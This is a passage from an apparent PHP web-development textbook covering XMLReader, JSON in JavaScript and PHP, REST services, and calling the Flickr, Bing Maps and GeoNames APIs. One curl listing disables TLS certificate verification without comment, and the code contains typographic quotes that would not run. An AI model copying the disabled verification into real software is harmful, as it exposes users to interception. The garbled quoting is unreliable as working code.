While the SimpleXML extension is indeed very straightforward to use, it is
not a sensible choice for reading very large XML files. In such a case, the
XMLReader is a better choice. The XMLReader is sometimes referred to as a
pull processor, in that it reads a single node at a time, and then the program
has to determine what to do with that node. As can be seen in Listing 19.10,
the code for this processing is more difficult; indeed, for a multilevel XML
file, the code can become quite complicated.

Listing 19.10 Using XMLReader
$filename = 'art.xml'; 

if (file_exists($filename)) { 

   // create and open the reader

   $reader = new XMLReader(); 

   $reader->open($filename); 

   // loop through the XML file 

   while ( $reader->read() ) { 

      $nodeName = $reader->name; 

      // since all sorts of different XML nodes we must check  

      // node type 

      if ($reader->nodeType == XMLREADER::ELEMENT  

            && $nodeName == 'painting') { 

         $id =  $reader->getAttribute('id');  

         echo '<p>id=' . $id . '</p>'; 

      } 

      if ($reader->nodeType == XMLREADER::ELEMENT 

            && $nodeName =='title') { 

         // read the next node to get at the text node 

         $reader->read(); 

         echo '<p>' . $reader->value . '</p>'; 

      } 



   } 

} else { 

   exit('Failed to open ' . $filename); 

}

One way to simplify the use of XMLReader is to combine it with
SimpleXML. We will use the XMLReader to read in a <painting> element
at a time (perhaps in the real XML file, there are thousands of <painting>
elements, so we don't want to read them all into memory). We can then pass
on the element to SimpleXML and let it convert that single element into an
object to simplify our programming. Listing 19.11 demonstrates how these
two extensions can be combined to get the memory advantages of the
XMLReader along with the programming simplicity of SimpleXML.

Listing 19.11 Combining
XMLReader and SimpleXML
// create and open the reader 

$reader = new XMLReader(); 

$reader->open($filename); 

// loop through the XML file 

while($reader->read()) { 

  $nodeName = $reader->name; 

  if ($reader->nodeType == XMLREADER::ELEMENT 

      && $nodeName =='painting') { 

      // create a SimpleXML object from the current painting node 

      $doc = new DOMDocument('1.0', 'UTF-8'); 

      $painting = simplexml_import_dom($doc->importNode( 

                     $reader->expand(),true));     

      // now have a single painting as an object so can output it 

      echo '<h2>' . $painting->title . '</h2>'; 

      echo '<p>By ' . $painting->artist->name . '</p>'; 

  }    

}



19.3 JSON
Like XML, JSON is a data serialization format. That is, it is used to represent
object data in a text format so that it can be transmitted from one computer to
another. You may recall that we briefly encountered JSON in Chapters 8 and
10. Many REST web services encode their returned data in the JSON data
format instead of XML. While JSON stands for JavaScript Object Notation,
its use is not limited to JavaScript. It provides a more concise format than
XML to represent data. It was originally designed to provide a lightweight
serialization format to represent objects in JavaScript. While it doesn't have
the validation and readability of XML, it has the advantage of generally
requiring significantly fewer bytes to represent data than XML, which in the
web context is quite significant. Figure 19.6 shows an example of how an
XML data element would be represented in JSON.

Figure 19.6 Sample JSON
Figure 19.6 Full Alternative Text

Just like XML, JSON data can be nested to represent objects within objects.
Listing 19.12 demonstrates how the data in Listing 19.1 could be represented
in JSON. While Listing 19.12 uses spacing and line breaks to make the
structure more readable, in general JSON data will have all white space
removed to reduce the number of bytes traveling across the network.



Listing 19.12 JSON representation
of XML data from Listing 19.1
{ 

   “paintings”: [ 

      { 

         “id”:290, 

         “title”:“Balcony”, 

         “artist”:{ 

            “name”:“Manet”, 

            “nationality”:“France” 

         }, 

         “year”:1868, 

         “medium”:“Oil on canvas” 

      }, 

      { 

         “id”:192, 

         “title”:“The Kiss”, 

         “artist”:{ 

            “name”:“Klimt”, 

            “nationality”:“Austria” 

         }, 

         “year”:1907, 

         “medium”:“Oil and gold on canvas” 

      }, 

      { 

         “id”:139, 

         “title”:“The Oath of the Horatii”, 

         “artist”:{ 

            “name”:“David”, 

            “nationality”:“France” 

         }, 

         “year”:1784, 

         “medium”:“Oil on canvas” 

      } 

   ] 

}

Notice how this example uses square brackets to contain the three painting
object definitions: this is the JSON syntax for defining an array.



19.3.1 Using JSON in Javascript
Since the syntax of JSON is the same used for creating objects in JavaScript,
it is easy to make use of the JSON format in JavaScript:
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<script> 

   var a = {“artist”: {“name”:“Manet”,“nationality”:“France”}}; 

   alert(a.artist.name + “ ” + a.artist.nationality); 

</script>

While this is indeed quite straightforward, generally speaking you will not
often hard-code JSON objects like that shown above. Instead, you will either
programmatically construct them or download them from an external web
service. In either case, the JSON information will be contained within a
string, and the JSON.parse() function can be used to transform the string
containing the JSON data into a JavaScript object:

var text = '{“artist”: {“name”:“Manet”,“nationality”:“France”}}'; 

var a = JSON.parse(text); 

alert(a.artist.nationality);

The jQuery library also provides a JSON parser that will work with all
browsers (the JSON.parse() function is not available on older browsers):

var artist = jQuery.parseJSON(text);

JavaScript also provides a mechanism to translate a JavaScript object into a
JSON string:

var text = JSON.stringify(artist);



19.3.2 Using JSON in PHP
PHP comes with a JSON extension and as of version 5.2 of PHP, the JSON
extension is bundled and compiled into PHP by default.7 Converting a JSON
string into a PHP object is quite straightforward:
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<?php 

   // convert JSON string into PHP object 

   $text = '{“artist”: {“name”:“Manet”,“nationality”:“France”}}'; 

   $anObject = json_decode($text); 

   echo $anObject->artist->nationality; 

   // convert JSON string into PHP associative array 

   $anArray = json_decode($text, true); 

   echo $anArray['artist']['nationality'];

?>

Notice that the json_decode() function can return either a PHP object or an
associative array. Since JSON data is often coming from an external source,
one should always check for parse errors before using it, which can be done
via the json_last_error() function:

<?php 

   // convert JSON string into PHP object 

   $text = '{“artist”: {“name”:“Manet”,“nationality”:“France”}}'; 

   $anObject = json_decode($text); 

   // check for parse errors 

   if (json_last_error() == JSON_ERROR_NONE) { 

      echo $anObject->artist->nationality; 

   }

?>

To go the other direction (i.e., to convert a PHP object into a JSON string),



you can use the json_encode() function.

// convert PHP object into a JSON string 

$text = json_encode($anObject);

In the next three sections we will be making more use of JSON in PHP and
JavaScript.



19.4 Overview of Web Services
Web services are the most common example of a computing paradigm
commonly referred to as service-oriented computing (SOC), which utilizes
something called “services” as a key element in the development and
operation of software applications.

A service is a piece of software with a platform-independent interface that
can be dynamically located and invoked. Web services are a relatively
standardized mechanism by which one software application can connect to
and communicate with another software application using web protocols.
Web services make use of the HTTP protocol so that they can be used by any
computer with Internet connectivity. As well, web services typically use
XML or JSON (which will be covered shortly) to encode data within HTTP
transmissions so that almost any platform should be able to encode or retrieve
the data contained within a web service.

The benefit of web services is that they potentially provide interoperability
between different software applications running on different platforms.
Because web services use common and universally supported standards
(HTTP and XML/JSON), they are supported on a wide variety of platforms.
Another key benefit of web services is that they can be used to implement
something called a service- oriented architecture (SOA). This type of
software architecture aims to achieve very loose coupling among interacting
software services. The rationale behind an SOA is one that is familiar to
computing practitioners with some experience in the enterprise: namely, how
to best deal with the problem of application integration. Due to corporate
mergers, longer-lived legacy applications, and the need to integrate with the
Internet, getting different software applications to work together has become
a major priority of IT organizations. SOA provides a very palatable potential
solution to application integration issues. Because services are independent
software entities, they can be offered by different systems within an
organization as well as by different organizations. As such, web services can
provide a computing infrastructure for application integration and
collaboration within and between organizations, as shown in Figure 19.7 .



Figure 19.7 Overview of web
services

Figure 19.7 Full Alternative Text

In the first few years of the 2000s, there was a great deal of enthusiasm for
service-oriented computing in general and web services in particular. The
hope was that development in which an application's functional capability
was externalized into services would finally realize the reusability promised
by object-oriented languages as well as deal with the difficulty of enterprise-
level application integration.

Note



The term “web services” has become a bit old fashioned. Many developers
now instead use the term “web api” or even just “api.”

19.4.1 SOAP Services
In the first iteration of web services fever, the attention was on a series of
related XML vocabularies: WSDL, SOAP, and the so-called WS-protocol
stack (WS-Security, WS-Addressing, etc.). In this model, WSDL is used to
describe the operations and data types provided by the service. SOAP is the
message protocol used to encode the service invocations and their return
values via XML within the HTTP header, as can be seen in Figure 19.8 .



Figure 19.8 SOAP web services
Figure 19.8 Full Alternative Text

While SOAP and WSDL are complex XML schemas, this now relatively



mature standard is well supported in the .NET and Java environments
(perhaps a little less so with PHP). From the authors' professional and
teaching experience, it is not necessary to have detailed knowledge of the
SOAP and WSDL specifications to create and consume SOAP-based
services. Using SOAP-based services is somewhat akin to using a compiler:
its output may be complicated to understand, but it certainly makes life easier
for most programmers. Yet, despite the superb tool support in these two
environments, by the middle years of the 2000s, the enthusiasm for SOAP-
based web services had cooled.

19.4.2 REST Services
By the end of the decade, the enthusiasm for web services was back, thanks
to the significantly simpler REST-based web service standard. REST stands
for Representational State Transfer. A RESTful web service does away with
the service description layer as well as doing away with the need for a
separate protocol for encoding message requests and responses. Instead it
simply uses HTTP URLs for requesting a resource/object (and for encoding
input parameters). The serialized representation of this object, usually an
XML or JSON stream, is then returned to the requestor as a normal HTTP
response. No special steps are needed to deploy a REST-based service, no
special tools (other than a browser) are generally needed to test a RESTful
service, and it is easier to scale for a large number of clients using well-
established practices and experience with caching, clustering, and load-
balancing traditional dynamic HTTP websites.

With the broad interest in the asynchronous consumption of server data at the
browser using JavaScript (generally referred to as AJAX) in the latter half of
this decade, the lightweight nature of REST made it significantly easier to
consume in JavaScript than SOAP. Indeed, if an object is serialized via
JSON, it can be turned into a complex JavaScript object in one simple line of
JavaScript. However, since many REST web services use XML as the data
format, manual XML parsing and processing is required in order to
deserialize a REST response back into a usable object, as shown in Figure
19.9 . (With the SOAP approach, in contrast, tools can use the WSDL
document to automatically generate proxy classes at development time,



which in turn obviates the necessity of writing the serialize/deserialize code
yourself.)

Figure 19.9 REST web services
Figure 19.9 Full Alternative Text

REST appears to have almost completely displaced SOAP services. For
instance, in August 2016, the programmableweb.com API directory had 1025
active SOAP services in comparison to 4475 active REST services. While
some of the most popular services, such as those from Amazon, eBay, and

http://programmableweb.com


Flickr, support both formats, others, such as Facebook, Google, YouTube,
and Wikipedia, have either discontinued SOAP support or have never offered
it. For this reason, this chapter will only cover the consumption and creation
of REST-based services.

The relatively easy availability of a wide range of RESTful services has given
rise to a new style of web development, often referred to as a mashup, which
generally refers to a website that combines and integrates data from a variety
of different sources (see Figure 19.10 ). Even websites that are not overtly
mashups nonetheless often make use of some external data via the
consumption of REST services. The proliferation of maps, externalized
search, Amazon widgets, and so on, on a wide variety of sites are examples
of the commonality of the consumption of REST services.

Figure 19.10 Example mashup
combining Google Maps and
Twitter (taken from



TrendsMap.com)
Figure 19.10 Full Alternative Text

19.4.3 An Example Web Service
Perhaps the best way to understand RESTful web service would be to
examine a sample one. In this section we will look at the Google Geocoding
API. The term geocoding typically refers to the process of turning a real-
world address (such as British Museum, Great Russell Street, London,
WC1B 3DG) into geographic coordinates, which are usually latitude and
longitude values (such as 51.5179231, -0.1271022). Reverse geocoding is the
process of converting geographic coordinates into a human-readable address.

The Google Geocoding API provides a way to perform geocoding operations
via an HTTP GET request, and thus is an especially useful example of a
RESTful web service.

Note
The Geocoding API may only be used in conjunction with a Google Map;
performing a geocoding without displaying it on a map is prohibited by the
Maps API Terms of Service License. In this example, we are using the
service simply to illustrate a typical web service. In a real-world example, we
would plot the returned latitude and longitude values on a Google Map.

Like all of the REST web services we will be examining in this chapter, using
a web service begins with an HTTP request. In this case the request will take
the following form:

https://maps.googleapis.com/maps/api/geocode/json?parameters

The parameters in this case are address (for the real-world address to

http://TrendsMap.com


geocode) and sensor (for whether the request comes from a device with a
location sensor).

So an example geocode request would look like the following:

https://maps.googleapis.com/maps/api/geocode/

json?address=British%20Museum,+Great+Russell+Street,+London,+WC1B+3DG

Notice that a REST request, like all HTTP requests, must URL encode
special characters such as spaces. If the request is well formed and the service
is working, it will return an HTTP response similar to that shown in Listing
19.13 (with some omissions and indenting spaces added for readability).

Listing 19.13 HTTP response from
web service
HTTP/1.1 200 OK 

Content-Type: application/json; charset=UTF-8 

Date: Sun, 14 Aug 2016 19:15:54 GMT 

Expires: Mon, 15 Aug 2016 19:15:54 GMT 

Cache-Control: public, max-age=86400 

Vary: Accept-Language 

Content-Encoding: gzip 

Server: mafe 

Content-Length: 512 

X-XSS-Protection: 1; mode=block 

X-Frame-Options: SAMEORIGIN 

{ “results” : [        

      { 

         “address_components” : [  

            { 

               “long_name” : “Great Russell Street”,  

               “short_name” : “Great Russell St”, 

               “types” : [ “route” ] 

            }, 

            { 

               “long_name” : “London”, 

               “short_name” : “London”, 

               “types” : [ “locality”, “political” ] 

            }, 

            …

https://maps.googleapis.com/maps/api/geocode/json?address=British%20Museum,+Great+Russell+Street,+London,+WC1B+3DG


         ], 

         “geometry” : { 

            … 

            “location” : { 

               “lat” : 51.5180173, 

               “lng” : -0.1267183 

            }, 

            …

         }, 

         … 

      } 

   ], 

   “status” : “OK”

}

After receiving this response, our program would then presumably need some
type of JSON processing in order to extract the latitude and longitude values.

19.4.4 Identifying and
Authenticating Service Requests
The previous section illustrated a sample request to a REST-based web
service and its JSON response. That particular service was openly available
to any request (though its term of service license limited how the response
data could be used). Most web services are not open in the same way.
Instead, they typically employ one of the following techniques:

Identity. Each web service request must identify who is making the
request.

Authentication. Each web service request must provide additional
evidence that they are who they say they are.

Many web services are not providing information that is especially private or
proprietary. For instance, the Flickr web service, which provides URLs to
publicly available photos on their site in response to search criteria, is in
some ways simply an XML version of the main site's already existing search
facility. Since no private user data is being requested, it only expects each



web service request to include one or more API keys to identity who is
making the request.

Why is an API key needed? The key might be necessary for internal record
keeping but the more important reason is to keep service request volume at a
manageable level. Most external web service APIs limit the number of web
service requests that can be made, generally either per second, per hour, or
per day. For instance, Panoramio limits requests to 100,000 per day while
Google Maps and Microsoft Bing Maps allow 50,000 geo-coding requests
per day; Instagram allows 5000 requests per hour but Twitter allows just 100
to 400 requests per hour (it can vary); Amazon and last.fm limit requests to
just one per second. Other services such as Flickr, NileGuide, and YouTube
have no documented request limits.

Web services that make use of an API key typically require the user (i.e., the
developer) to register online with the service for an API key. This API key is
then added to the GET request as a query string parameter. For instance, a
geocoding request to the Microsoft Bing Maps web service will look like the
following (in this particular case, the actual Bing API key is a 64-character
string):

https://dev.virtualearth.net/REST/v1/Locations?o=json&query=British%20Museum,+Great+Russell+Street,+London,+WC1B+3DG,+UK

Note
In the examples that follow in the rest of this chapter (and in the associated
lab exercises), it will be assumed that the reader has registered for the
relevant services and has the necessary API key.

While some web services are simply providing information already available
on their website, other web services are providing private/proprietary
information or are involving financial transactions. In this case, these services
not only may require an API key, but they also require some type of user
name and password in order to perform an authorization.

In such a case, user credential information is almost never sent via GET query



string parameters due to the security risk. Instead this information is sent
within the HTTP or HTTPS Authorization header as discussed in the
previous chapter on Security. This could use HTTP basic authentication;
many of the most well-known web services instead make use of the OAuth
standard (also covered in Chapter 18) since it eliminates the need to transmit
passwords in service requests.



19.5 Consuming Web Services in
PHP
Now that we understand REST web services and know how to process both
XML and JSON, we are ready to consume some web services in PHP. There
are three usual approaches in PHP for making a REST request:

Using the file_get_contents() function.

Using functions contained within the curl library.

Using a custom library for the specific web service. Many of the most
popular web services have free and proprietary PHP libraries available.

The file_get_contents() function is simple but doesn't allow POST
requests, so services that require authentication will have to use the curl
extension library, which allows significantly more control over requests.
Unfortunately, not all PHP servers allow usage of curl. To test if your
installation supports curl, create a simple page with the following code and
then run it:

<?php 

   echo phpinfo(); 

?>

This will display information about your PHP installation. About a quarter of
the way down the listing, if curl is installed, you will find information about
its support. If you are using XAMPP then curl support should be enabled.

19.5.1 Consuming an XML Web
Service



The Flickr web service (documentation available at http://www.flickr.com/
services/api/) provides a comprehensive set of web services for interacting
with its vast library of user-supplied photos. Perhaps its most commonly used
service method is its photo search facility. The basic format for this service
method is:

Hands-on Exercises Lab 19
Exercise
Consuming an XML Web Service in PHP

https://api.flickr.com/services/rest/

?method=flickr.photos.search&api_ key=[enter your flickr api key here

Notice that this service request has a specific URL, which can be discovered
by examining the web service API documentation. As well, various query
string parameters indicate which service method we are requesting (in this
case, method=flickr.photos.search). As well, we need to supply our own
API key, our search tags, and specify whether we want the service to return
its results as XML (REST) or as JSON. The documentation for the service
describes other parameters that can be specified.

The service will return its standard XML photo list, which is shown below:

<?xml version=“1.0” encoding=“utf-8” ?> 

<rsp stat=“ok”> 

  <photos page=“1” pages=“9” perpage=“10” total=“82”> 

    <photo id=“8711739266” owner=“31790027@N04” secret=“0f29a86417” 

       server=“8560” farm=“9” title=“Back end of the Parthenon”  

       ispublic=“1” isfriend=“0” isfamily=“0” /> 

    <photo id=“8710493439” owner=“31790027@N04” secret=“66b58d04a7” 

       server=“8406” farm=“9” title=“Me at the Agora” ispublic=“1” 

       isfriend=“0” isfamily=“0” /> 

    …

  </photos> 

</rsp>

We can turn the id, server, farm, and secret attributes of the returned

http://www.flickr.com/services/api/
https://api.flickr.com/services/rest/


<photo> elements into URLs using the following format:

https://farm{farm-id}.staticflickr.com/{server-id}/{id}_{secret}_[mstzb].jpg

In this case, the mstzb refers to the size (m = small, s = small square, t =
thumbnail, z = medium, or b = large). For instance, to use the data from the
first <photo> element in the above example into a request for a small square
version of the photo, you would use:

https://farm9.staticflickr.com/8560/8711639266_0f29a86417_s.jpg

Now that we have covered how the API works, let's write the PHP to make
the request. To begin, we will encapsulate the creation of the search request
in a PHP function that is shown in Listing 19.14.

Listing 19.14 Function to construct
Flickr search request
<?php 

function constructFlickrSearchRequest($search) 

{ 

   $serviceDomain = 'https://api.flickr.com/services/rest/?'; 

   $method = 'method=flickr.photos.search'; 

   $api_key = 'api_key=' . 'your Flickr api key here'; 

   $searchFor = 'tags=' . $search; 

   $format = 'format=rest'; 

   // only 12 results for now 

   $options = 'per_page=12'; 

   // due to copyright, we will use only the author's Flickr images

   $options .= '&user_id=31790027%40N04'; 

   

   return $serviceDomain . $method . '&' . $api_key .'&'  

       . $searchFor . '&' . $format . '&' . $options; 

} 

?>

With the service request function created, we can now simply make the
request, examine the response for errors, and for now, simply display the
XML (which will need to be HTML encoded due to the angle brackets in the

https://farm9.staticflickr.com/8560/8711639266_0f29a86417_s.jpg


returned XML), as shown below. Notice that this example has a hard-coded
search string. Of course, we could easily generalize the example to instead
use a value from a database or a user input form.

<?php 

// for now just hard-code the search

$request = constructFlickrSearchRequest('Athens'); 

$response = file_get_contents($request);

// Retrieve HTTP status code 

$statusLine = explode(' ',$http_response_header[0], 3);  

$status_code = $statusLine[1]; 

if ($status_code == 200) { 

   // for debugging output response 

   echo htmlspecialchars($response); 

} 

else { 

   die(“Your call to web service failed -- code=” . $status_code);

} 

?>

One can achieve the same functionality using the curl extension; it requires a
little more code but provides more control and allows POST requests as well.
Listing 19.15 demonstrates how the curl extension is used to make a web
service request. It also makes use of the XML processing techniques from
earlier in the chapter to display thumbnail versions of the images as shown in
Figure 19.11 .



Figure 19.11 Result of Listing
19.15 in the browser

Figure 19.11 Full Alternative Text

Listing 19.15 Querying web service
and processing the results
$request = constructFlickrSearchRequest('Athens'); 

echo '<p><small>' . $request . '</small></p>'; 

$http = curl_init($request);  

// set curl options 

curl_setopt($http, CURLOPT_HEADER, false); 

curl_setopt($http, CURLOPT_RETURNTRANSFER, true); 



curl_setopt($http, CURLOPT_SSL_VERIFYPEER, false); 

// make the request 

$response = curl_exec($http); 

// get the status code 

$status_code = curl_getinfo($http, CURLINFO_HTTP_CODE); 

// close the curl session 

curl_close($http); 

if ($status_code == 200) { 

   // create simpleXML object by loading string 

   $xml =  simplexml_load_string($response); 

   // iterate through each <photo> element  

   foreach ($xml->photos->photo as $p) { 

      // construct URLs for image and for link 

      $pageURL = “https://www.flickr.com/photos/” . $p['owner'] . “/”

                 . $p['id'];       

      $imgURL = “https://farm” .$p[“farm”] . “.staticflickr.com/” 

        . $p[“server”] . “/” . $p[“id”] . “_” . $p[“secret”] . “_q.jpg”;

      // output links and image tags 

      echo “<a href='” . $pageURL . “'>”; 

      echo “<img src='” . $imgURL . “' />”; 

      echo “</a>”;    

   } 

} 

else { 

   die(“Your call to web service failed -- code=” . $status_code);

}

Earlier in the chapter, we used the SimpleXML extension to load an XML
file. In this case, the XML is contained within a string, and as a result it
cannot use the simplexml_load_file() function. Instead it uses the
simplexml_load_string() function.

19.5.2 Consuming a JSON Web
Service
Consuming a JSON web service requires almost the same type of PHP
coding as consuming an XML web service. But rather than using
SimpleXML to extract the information one needs, one instead uses the
json_decode() function.
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To illustrate, we will have a more involved example that makes use of two
different web services. The first of these is the Microsoft Bing Maps web
service (http://msdn.microsoft.com/en-us/library/ff701702.aspx). It will be
used to geocode a client's address. With the returned latitude and longitude
we will then use the second web service: the GeoNames web service (http://
www.geonames.org/), which provides access to a database of over 10 million
geographical names. We will use the service to find nearby amenities to the
address. Finally, the Microsoft Bing Maps web service will be used to
generate a static map image that displays the client's location along with
nearby amenities. Both of these services require that you register to get the
relevant API key. Figure 19.12 illustrates the process flow of this example.

http://msdn.microsoft.com/en-us/library/ff701702.aspx
http://www.geonames.org/


Figure 19.12 JSON example
process

Figure 19.12 Full Alternative Text



By examining the web service's API documentation, you can see that our
geo-coding request must take the following form:

http://dev.virtualearth.net/REST/v1/Locations?query=address&key=api-key

The address parameter will contain the customer's address, city, region, and
country separated by commas and each will have to be URL encoded. It will
return a JSON object with quite a lot of information in it; the relevant part is
the latitude and longitude, which are shown in Listing 19.16 (with unneeded
information omitted).

Listing 19.16 Example JSON
returned from geocoding request
{ … 

  “resourceSets”:[ 

   {  … 

      “resources”:[ 

      { … 

        “point”:{ … 

           “coordinates”:[ 

              43.6520004,  -79.4082336 

           ] 

        }, …

To extract the latitude and longitude from the JSON string returned from the
mapping web service, you would need code similar to the following:

// decode JSON and extract latitude and longitude 

$json = json_decode($response); 

if (json_last_error() == JSON_ERROR_NONE) { 

   $lat = $json->resourceSets[0]->resources[0]->point 

              ->coordinates[0]; 

   $long = $json->resourceSets[0]->resources[0]->point 

               ->coordinates[1]; 

}

Once our program has retrieved the latitude and longitude of the contact's
address, the program then will use the GeoNames web service's Find NearBy



Points of Interest method. This request will take the following form:

http://api.geonames.org/findNearbyPOIsOSMJSON?lat=43.6520004&lng= -79.4082336

Notice that this request to GeoNames uses the latitude and longitude values
retrieved from the previous geocoding request (i.e., from the Bing Maps
service). If successful, this request will return a list of amenities as shown in
Listing 19.17 (again with unneeded information omitted).

Once these two web services requests are finished, our program can finally
display the static map with a marker for the customer location and other
markers for the amenity locations. For this example, we will again use the
Microsoft Bing Map service. Rather than return XML or JSON, this request
will return the URL of a JPG image (shown in Figure 19.13 ); this will
simply be the src attribute value for an <img> element.

Listing 19.17 Example JSON
returned from GeoNames request
{ 

   “poi”:[ 

      { 

         “typeName”:“pharmacy”, 

         “distance”:“0.05”, 

         “name”:“…”, 

         “lng”:“-79.4085317”, 

         “typeClass”:“amenity”, 

         “lat”:“43.6517321” 

      }, 

      … 

}



Figure 19.13 Map request
format

Figure 19.13 Full Alternative Text

Listing 19.18 lists the PHP code used for this mapping page. Figure 19.14
illustrates what the page will look like in the browser.



Figure 19.14 Finished page
with map

Figure 19.14 Full Alternative Text

Listing 19.18 PHP used in the
mapping page
<?php 

// First define api key constants - you will replace these values 

define(“BING_API_KEY”,'your api key here'); 

define(“GEONAMES_API_USERNAME”, 'your username here'); 

//  

// Constructs the URL to retrieve lat/long for a real-world  



// address. It is passed a customer object 

// 

function constructBingSearchRequest($customer) 

{ 

   $serviceDomain = 'http://dev.virtualearth.net/REST/v1/Locations?';

   $api_key = 'key=' . BING_API_KEY;    

   $query = 'query=' . urlencode($customer->address) . ','   

      . urlencode($customer->city) . ',' . $customer->region . ','  

      . $customer->country; 

   return $serviceDomain . $api_key . '&' . $query; 

} 

//  

// Constructs the URL to retrieve nearby amenities to a location 

// 

function constructGeoNameSearchRequest($lat, $long) 

{ 

   $serviceDomain = 'http://api.geonames.org/findNearbyPOIsOSMJSON?';

   $api_key = 'username=' . GEONAMES_API_USERNAME;  

   $query = 'lat=' . $lat . '&lng=' . $long; 

   return $serviceDomain . $api_key . '&' . $query; 

} 

//  

// Constructs the URL for static map with main location and amenities

// 

function constructBingMapRequest($zoom, $width, $length, $lat, 

                                 $long, $amenities) 

{ 

   $serviceDomain =  

       'http://dev.virtualearth.net/REST/v1/Imagery/Map/Road/'; 

   $api_key = 'key=' . BING_API_KEY;    

    

   $request = $serviceDomain . $lat . ',' . $long . '/' . $zoom;  

   $request .= '?mapSize=' . $width . ',' . $length . '&' . $api_key;

   $request .= '&pp=' . $lat . ',' . $long . ';66'; 

   foreach ($amenities as $amenity) 

   { 

      $request .= '&pp=' . $amenity->lat . ',' . $amenity->lng . ';34';

   } 

   return $request; 

} 

//  

// Invokes/requests a web service and returns its response. 

// For simplicity's sake, if problem with service it simply dies. 

// For real-world site, would need better error handling. 

// 

function invokeWebService($request) 

{ 



   $http = curl_init($request);  

   curl_setopt($http, CURLOPT_HEADER, false); 

   curl_setopt($http, CURLOPT_RETURNTRANSFER, true); 

   $response = curl_exec($http); 

   $status_code = curl_getinfo($http, CURLINFO_HTTP_CODE); 

   curl_close($http);

   if ($status_code == 200) { 

      return $response; 

   } 

   else { 

      die(“Your call to web service failed -- code=” . $status_code);

   } 

} 

// 

// Code that implements algorithm from  Figure 19.12 . Notice that it

// returns the populated image tag for the map image 

// 

function getCustomerMapImage($customer) 

{ 

   // call web service 

   $request = constructBingSearchRequest($customer); 

   $response = invokeWebService($request); 

   // now decode JSON and extract latitude and longitude 

   $json = json_decode($response); 

   if (json_last_error() == JSON_ERROR_NONE) { 

      $lat = $json->resourceSets[0]->resources[0]->point 

                  ->coordinates[0]; 

      $long = $json->resourceSets[0]->resources[0]->point 

                   ->coordinates[1]; 

       

      // with this lat/long, get list of amenities 

      $request = constructGeoNameSearchRequest($lat, $long); 

      $response = invokeWebService($request); 

       

      $json = json_decode($response); 

      if (json_last_error() == JSON_ERROR_NONE) {   

         // now get map image with location and amenity markers 

         $mapImageURL = constructBingMapRequest(16, 600, 400, $lat,

                           $long, $json->poi);       

         $img = '<img src=“' . $mapImageURL . '” alt=“map here” />';

         return $img; 

      } 

   } 

} 

// Somewhere in your page, you will have to get the customer object

$customer = getCustomer(); 



// And then somewhere on the page there will be this call, which  

// displays the map image. 

echo getCustomerMapImage($customer); 

?>

Note
You may be wondering if it is possible to have a dynamic map (i.e., one in
which the user can zoom and pan) instead of a static map. Dynamic maps
require the interaction of JavaScript with external web services. In the last
section of this chapter (which is on consuming web services asynchronously),
we will use the Google Maps API to create a dynamic map that interacts with
web services that we will create in the next section.



19.6 Creating Web Services
One of the significant advantages of REST web services in comparison to
SOAP web services is that creating web services is relatively straightforward.
Since REST services simply respond to HTTP requests, creating a PHP web
service is only a matter of creating a page that responds to query string
parameters and instead of returning HTML, it returns XML or JSON (or
indeed any other format). As well, since a web service does not return
HTML, our PHP page must also modify the Content-type response header.
A real-world web service would most likely also perform some type of
identification or authentication.

19.6.1 Creating a JSON Web
Service
The first service we will create will be one that returns country data from our
Travel database. You may think that there is not likely to be much public
interest in such a web service. However, it is important to recognize that not
all web services are intended to be used by external clients. Many web
services are intended only to be consumed asynchronously by their own
webpages via JavaScript.
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To begin, we should determine the methods our service will support and the
format of the requests. This service will take the following format:



serviceTravelCountries.php?parameters

This service will accept three different parameters: iso, continent, and term
for specifying the country, the continent, and then countries that begin with
the specified characters. For instance, if we had the following request:

serviceTravelCountries.php?iso=CA

It would be equivalent to the SQL search:

SELECT * FROM Countries WHERE ISO='CA'

We will make use of the class infrastructure from Chapter 17 so that this
example can focus on the creation of the web service. Listing 19.19 shows
the JSON structure that will be returned from this service.

Listing 19.19 Sample JSON
returned from
serviceTravelCountries service
{ 

  “iso”:“CA”, 

  “name”:“Canada”, 

  “area”:9984670, 

  “population”:33679000, 

  “continent”:“NA”, 

  “capital”:“Ottawa” 

}

The main algorithm for the service is quite straightforward. Since PHP
already responds to HTTP requests, the main difference between developing
a web service and a regular webpage is that the web service doesn't return
HTML. The algorithm (indeed the complete listing of
serviceTravelCountries.php) is shown in Listing 19.20. Notice that there is no
<html>; instead it contains just PHP code.



Listing 19.20 The
serviceTravelCountries.php service
<?php 

/* 

This service returns country information from the travel database.

Possible values:  

1. No parameters - returns all countries for which there are images

2. iso=ALL - returns a list of all countries 

3. iso=[value] - returns just the country with the specified ISO value

                  e.g., ISO=CA 

4. continent=[value] - returns just countries from the specified continent

                  e.g., continent=NA     

5. term=[value] - returns countries whose name begins with the entered term

                  e.g., term=bur                      

*/ 

require_once('lib/helpers/travel-setup.inc.php'); 

require_once('lib/helpers/service-utilities.php'); 

// Tell the browser to expect JSON rather than HTML 

header('Content-Type: application/json'); 

// only needed if supporting JavaScript clients from another domain

header(“Access-Control-Allow-Origin: *”); 

// table gateway is how we interact with database 

$gate = new CountryTableGateway($dbAdapter); 

$param = 'iso'; 

if ( isCorrectQueryStringInfo($param) ) { 

    if ($_GET[$param] == “ALL” || $_GET[$param] == “all”) 

        $results = $gate->findAll(true); 

    else 

        $results = $gate->findById($_GET[$param]); 

} 

else {   

    $param = 'continent'; 

    if ( isCorrectQueryStringInfo($param) ) { 

        $results = $gate->findCountriesFromContinent($_GET[$param]);

    } 

    else { 

            $param = 'term'; 

            if ( isCorrectQueryStringInfo($param) ) { 

                $results = $gate->findCountriesBeginWith($_GET[$param]);

            } 

            else          

                $results = $gate->findCountriesWithImages(); 

    }         



} 

// output the JSON for the retrieved data 

if (is_null($results)) 

    echo getJsonErrorMessage(); 

else 

    // the JSON_NUMERIC_CHECK will encode numeric values as numbers 

    echo json_encode($results, JSON_NUMERIC_CHECK);

$dbAdapter->closeConnection(); 

?>

The most important thing to note in Listing 19.20 is the one emphasized line,
which outputs the HTTP Content-Type header. The Content-type header is
used to specify the type of content that the browser will be receiving. The
default MIME value for PHP pages is text/html. However, since the service
is returning XML, we need to change this value to application/json. This
change does have ramifications for the developers, which are described in the
nearby note. Since we are using the class infrastructure from Chapter 17, the
code in Listing 19.20 mainly consists of comments and query string
validation (which utilizes helper functions that you can find in Listing 19.21)
The json_encode() function does most of the work for us.

Note
Changing the Content-Type header from its default text/html to
application /json can create some frustrating moments for the developer.
If your PHP's error reporting settings are such that you expect to see PHP's
error and warning messages, then these will cause some unusual output due
to the new header setting. Since PHP's warning and error messages are
HTML, depending on the browser you use, you may see nothing (or only a
very cryptic browser message) when one of these PHP's messages is sent. As
the comment in Listing 19.20 indicates, the solution is to temporarily
